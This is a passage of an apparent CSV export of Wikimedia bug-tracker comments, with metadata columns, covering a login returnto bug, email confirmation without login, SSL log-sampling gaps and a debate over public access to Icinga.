+https://gerrit.wikimedia.org/r/122089",,,1396600811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+284874,MediaWiki:Watchnologintext needs returnto parameter,"Change 123837 had a related patch set uploaded by Konarak:
+MediaWiki:Watchnologintext: Add returnto parameter
+
+https://gerrit.wikimedia.org/r/123837",,,1396600723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+284867,MediaWiki:Watchnologintext needs returnto parameter,"Change 122089 had a related patch set uploaded by Konarak:
+MediaWiki:Watchnologintext: Add returnto parameter
+
+https://gerrit.wikimedia.org/r/122089",,,1396148927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+284859,MediaWiki:Watchnologintext needs returnto parameter,"**mizael_88** wrote:
+
+I was wrong earlier. 
+Now I see that if you use the ""log in"" option at the top right of the page Returnto works correctly. But if you use this ""You must be logged in to modify your watchlist"" does not work. 
+
+I'll try solve again.",,,1393587359,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+284852,MediaWiki:Watchnologintext needs returnto parameter,"(In reply to Severino Mizael from comment #2)
+> Returnto is to send you to a specific page. not to perform an action.
+> read http://www.mediawiki.org/wiki/User:S_Page_(WMF)/Return_to
+
+I read it, but it didn't say anything new to me. :) I don't understand your comment, I'm asking returnto to contain a specific page i.e. the page one was in (this is the standard usage), not ""to perform an action"".",,,1393573394,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-70,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+284847,MediaWiki:Watchnologintext needs returnto parameter,"**mizael_88** wrote:
+
+Returnto is to send you to a specific page. not to perform an action.
+read http://www.mediawiki.org/wiki/User:S_Page_(WMF)/Return_to
+
+maybe this is not a bug.",,,1393526669,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-70,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+284842,MediaWiki:Watchnologintext needs returnto parameter,"I hope that the ""Return to MediaWiki"" part doesn't mean the title= parameter is being ignored completely (so that it defaults to the main page) just because the token is absent or something. In that case, things might be trickier.",,,1391029478,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-75,True,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0
+62434,Do not require login on Special:Confirmemail to confirm the email,"Before gerrit 94406 it was possible to confirm a email code without the need of login to (any) user account. This was changed and produced bug 60433.
+
+In my opinion the old behaviour should be restored.
+
+If not, the logged in user should be checked against the user which gets confirmed, because that can differ at the moment.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",Medium,50.0,1390686960,1459876175.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-rdsfvcvl7kcljmcuza77,task_description,resolved,True,c3,1,True,False,False,-75,True,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+640829,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 merged by jenkins-bot:
+Do not require login on Special:Confirmemail to confirm the email
+
+[[https://gerrit.wikimedia.org/r/145511]]",,,1459876617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,3,False,,,39,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+460463,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 had a related patch set uploaded (by Umherirrender):
+Do not require login on Special:Confirmemail to confirm the email
+
+[[https://gerrit.wikimedia.org/r/145511]]
+",,,1431971303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+290617,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 had a related patch set uploaded by Rohan013:
+Login check in Special:Confirmemail was removed
+
+https://gerrit.wikimedia.org/r/145511",,,1405057942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+290610,Do not require login on Special:Confirmemail to confirm the email,I'm okay with doing this either way.,,,1390844697,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+62315,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","Although requests from ssl terminators are visible in the udp2log
+stream when consuming directly, and also in the edit tsvs [1], none
+are visible in the sampled-1000 tsv [2] or the mobile-sampled-100
+tsvs [3].
+
+Due to the numbers exposed by the edit tsv we'd expect >1000 lines/day
+from ssl terminators in the sampled-1000 tsvs, and >500 lines/day in
+the mobile-sampled-100 tsvs due to the edit requests alone.
+
+Are those two streams suffering the same problem as edit tsvs suffered
+before 2014-01-14 (bug 60314)?
+
+Let's get the ssl requests into the sampled-1000 and
+mobile-sampled-100 tsvs!
+
+(I've been told sampled-1000 is collected independently on two
+different hosts. Is the one that does not get mirrored to stat1002
+also affected? Not sure which those hosts are. The udp2log filters
+live in
+https://git.wikimedia.org/tree/operations%2Fpuppet/production/templates%2Fudp2log
+)
+
+
+[1]
+___________________________________________________________
+qchris@stat1002 // 0 // 00:36:41                                  
+cwd: ~
+zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-20140121.gz
+1358968
+
+
+[2]
+___________________________________________________________
+qchris@stat1002 // 0 // 22:14:02                                  
+cwd: ~
+zgrep -c '^ssl' /a/squid/archive/sampled/sampled-1000.tsv.log-201401*.gz
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140101.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140102.gz:0
+[...]
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140113.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140114.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140115.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140116.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140117.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140118.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140119.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140120.gz:0
+/a/squid/archive/sampled/sampled-1000.tsv.log-20140121.gz:0
+
+
+[3]
+___________________________________________________________
+qchris@stat1002 // 0 // 22:47:06                                  
+cwd: ~
+zgrep -c '^ssl' /a/squid/archive/mobile/mobile-sampled-100.tsv.log-201401*.gz
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140101.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140102.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140103.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140104.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140105.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140107.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140108.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140109.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140110.gz:1
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140111.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140112.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140113.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140114.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140115.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140116.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140117.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140118.gz:0
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140119.gz:1
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140120.gz:2
+/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140121.gz:0
+
+
+The four matches from the 201401{10,19,20} files are artifacts from an
+ssl terminator request line being too long and getting messed up with
+a subsequent mobile request line.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1390352280,1638225293.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-2y2k45wukaju6uyrp23s,task_description,declined,True,c3,1,True,False,False,-76,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+284243,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1399",,,1390946560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2y2k45wukaju6uyrp23s,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+284239,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","ottomata said that nginx might log only to gadolinium, while
+sampled-1000 gets written only on emery.",,,1390501300,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2y2k45wukaju6uyrp23s,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+62314,Requests through ssl terminators hardly present in edits tsvs before 2014-01-14,"It seems fixing bug 58876 made the logged requests from ssl
+terminators jump from ~50/day to 1.3M/day [1] ... which is actually good.
+
+As the ~1.3M/day seems more plausible than ~50/day ... Did some of the
+(maybe) relevant changes
+  https://gerrit.wikimedia.org/r/#/c/105449/
+  https://gerrit.wikimedia.org/r/#/c/105450/
+  https://gerrit.wikimedia.org/r/#/c/105451/
+really unbreak edit.tsv writing for ssl terminators as a side-effect?
+
+If so, how could they have unbroken storing requests from ssl
+terminators ... should not x-encoded requests have gotten logged
+nonetheless?
+(They for sure were in the stream before, as I checked before writing
+the changes above, and some are visible in the edit tsvs for the
+previous dates.)
+
+Was there some network issue beforehand?
+Was udp-filter (see [4] for its invocation) misbehaving?
+
+Once we understand what went on, would we need fixes elsewhere?
+
+Is the 1.3M/day now finally about correct?
+
+
+
+
+
+
+Some more pointers:
+
+* The above gerrit changes got deployed to ssl1001 on 2014-01-14
+  ~18:56 [2].
+
+* Heavy ssl traffic in the edit tsvs starts on 2014-01-14T18:59:11.634
+  and is limited to ssl1001 at first. On 2014-01-14T19:06:23.209 other
+  machines kick in.
+
+* There was a deployment window on 2014-01-14 19:00-21:00 upgrading
+  group1 1.23wmf9->1.23wmf10 [3], but it looks unrelated, as we're
+  seeing ssl requests pour in for unaffected wikis.
+
+
+
+
+
+[1]
+___________________________________________________________
+qchris@stat1002 // 0 // 22:13:50                                  
+cwd: ~
+zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-201401*.gz 
+[...]
+/a/squid/archive/edits/edits.tsv.log-20140112.gz:47
+/a/squid/archive/edits/edits.tsv.log-20140113.gz:18
+/a/squid/archive/edits/edits.tsv.log-20140114.gz:17
+/a/squid/archive/edits/edits.tsv.log-20140115.gz:557830
+/a/squid/archive/edits/edits.tsv.log-20140116.gz:1307081
+/a/squid/archive/edits/edits.tsv.log-20140117.gz:1336017
+/a/squid/archive/edits/edits.tsv.log-20140118.gz:1345793
+/a/squid/archive/edits/edits.tsv.log-20140119.gz:1379590
+/a/squid/archive/edits/edits.tsv.log-20140120.gz:1343811
+/a/squid/archive/edits/edits.tsv.log-20140121.gz:1358968
+
+[2] See
+http://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-operations/20140114.txt
+around 18:54, look for ottomata & qchris.
+
+[3] https://wikitech.wikimedia.org/wiki/Deployments/Archive/2014
+
+[4] https://git.wikimedia.org/blob/operations%2Fpuppet/aa4f6383ac7fc8dc5515d8466574368658f959ed/templates%2Fudp2log%2Ffilters.oxygen.erb#L13
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1390350060,1638225278.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-6ycchtavbbyqwrmd2xzg,task_description,declined,True,c3,1,True,False,False,-76,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+284200,Requests through ssl terminators hardly present in edits tsvs before 2014-01-14,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1398",,,1390946519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ycchtavbbyqwrmd2xzg,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+62112,Icinga has httpauth on (not accessible for public),"Just noticed that Icinga apparently has httpauth on, so it's not accessible for me (the public).
+Is there a security issue or other reason that forced this?
+
+also http://status.wikimedia.org/ reports it as down for several days.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://icinga.wikimedia.org/icinga
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54713
+https://rt.wikimedia.org/Ticket/Display.html?id=6838",Medium,50.0,1389828420,1513160407.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-u4soyvplokhywk7dypsl,task_description,declined,True,c3,1,True,False,False,-77,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0
+981051,Icinga has httpauth on (not accessible for public),"Thanks for reminding me of this. Since there's been practically no change since my last commit, I 'll indeed close this as `declined`. Feel free to reopen.
+
+The limited public panel you refer to, does exist btw. And in fact, there are even more public channels they are no that limited. 
+
+First of, there is the (limited indeed) panel at  https://status.wikimedia.org/
+
+Then most alerts are logged via IRC on #wikimedia-operations. That channel is also publicly logged and archives for many years back exist at http://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-operations/. Alerts for others teams go to their respective channels as well. Configuration for the entirety of the infrastructure exists and is at https://phabricator.wikimedia.org/source/operations-puppet/. In fact the IRC channels used per team are at https://phabricator.wikimedia.org/source/operations-puppet/browse/production/modules/icinga/manifests/ircbot.pp
+
+So yes, the icinga web interface is private these days for security reasons, but the information is not private and we do a lot to disseminate it.  ",,,1513160407,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,127,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0
+981013,Icinga has httpauth on (not accessible for public),"Such a shame that lots of log and status hosts are shifting towards a private option without even a limited public panel. Really decreases community accountability and removes the positive effects of ""Wikis use community ownership"".",,,1513158400,,PHID-USER-vus4aqtj2rgustxq6zdy,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,False,,,127,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+890132,Icinga has httpauth on (not accessible for public),">>! In T62112#3419066, @Luke081515 wrote:
+> Did something changed here in over two years since icinga is login-only?
+
+No, and given @MoritzMuehlenhoff 's answer above I don't think there will be any soon. . I know @Multichill's idea sounds like a good compromise but unfortunately it is not very feasible technically. Most of the icinga interface is practically the output of 1 CGI script (status.cgi) which alters it's behaviour based on the HTTP GET params it receives. That makes that approach technically difficult and most importantly quite error prone. It would also probably mean that the end result would not differ much from https://status.wikimedia.org/ (which already exist and provides status functionality) making that approach kind of a moot point. 
+
+My current inclination is, unfortunately, to close this task as `declined`",,,1499669773,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,105,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1
+890027,Icinga has httpauth on (not accessible for public),Did something changed here in over two years since icinga is login-only?,,,1499632928,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,105,True,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+754624,Icinga has httpauth on (not accessible for public),">>! In T62112#2763374, @MoritzMuehlenhoff wrote:
+> Although we do have a security-support version of Icinga running now, I'm against opening up the access to the public. Icinga/Nagios have a non-ideal security history, the CGIs are written in C and the monitoring hosts have privileged access to our production networks. (I'm fine with group-based access for selected, trusted service owners).
+
+What about putting a reverse proxy in front of it with some strict filtering so that only a small part is viewable without logging in? You could just call that one  https://icinga-public.wikimedia.org/ ",,,1478119516,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,69,True,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+753889,Icinga has httpauth on (not accessible for public),"Although we do have a security-support version of Icinga running now, I'm against opening up the access to the public. Icinga/Nagios have a non-ideal security history, the CGIs are written in C and the monitoring hosts have privileged access to our production networks. (I'm fine with group-based access for selected, trusted service owners).",,,1478095258,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,69,True,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+466139,Icinga has httpauth on (not accessible for public),">>! In T62112#1098490, @scfc wrote:
+> IIRC, it could also be fixed by upgrading `neon` (?) to Trusty
+
+Yep, neon is the icinga host.",,,1432987028,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+422739,Icinga has httpauth on (not accessible for public),"IIRC, it could also be fixed by upgrading `neon` (?) to Trusty, and as those upgrades always seem imminent and I think they have more value than shepherding those patches back to Ubuntu Precise, I didn't spend any time on the latter as testing them for upstream is too complex in my setup.",,,1425762408,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0
+392746,Icinga has httpauth on (not accessible for public),"this could get fixed also during the debian migration, I believe icinga jessie packages would do",,,1419438413,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+287437,Icinga has httpauth on (not accessible for public),"**ricky.wikitech** wrote:
+
+Been a few months - any update here? Or anything I (as a community member) can do to help with moving this along? :)",,,1409569546,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,False,,,-44,True,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+287430,Icinga has httpauth on (not accessible for public),*argl*  Forgot to test it; now I see the bugs have expired.  I'll test it Real Soon Now(TM) and get back to you if there's anything unsurmountable.,,,1397738315,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-63,True,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
